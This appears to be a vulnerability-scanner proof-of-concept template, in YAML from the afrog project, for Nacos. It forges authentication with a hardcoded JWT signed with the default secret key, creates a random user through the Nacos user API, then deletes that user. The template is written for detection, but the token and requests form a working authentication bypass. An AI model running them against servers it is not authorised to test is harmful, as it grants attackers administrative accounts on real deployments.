nacos-token-create-user: Nacos 默认密钥创建用户

PoC代码[已公开]

id: nacos-token-create-user

info:
  name: Nacos 默认密钥创建用户
  author: zan8in
  severity: critical
  verified: true
  description: |-
    Nacos 默认密钥创建用户
  tags: nacos,rce
  created: 2024/07/20

set:
  token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ
  randuser: randomLowercase(6)
  randpass: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /nacos/v1/auth/users
      headers:
        Authorization: Bearer {{token}}
      body: username={{randuser}}&password={{randpass}}
    expression: response.status == 200 && response.body.bcontains(b'"code":') && response.body.bcontains(b'"message":') && response.body.bcontains(b'"data":') && response.body.bcontains(b'create user ok!')
  r1:
    request:
      method: DELETE
      path: /nacos/v1/auth/users?username={{randuser}}
      headers:
        Authorization: Bearer {{token}}
    expression: true
expression: r0() && r1()

来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/nacos-token-create-user.yaml

漏洞描述

PoC代码[已公开]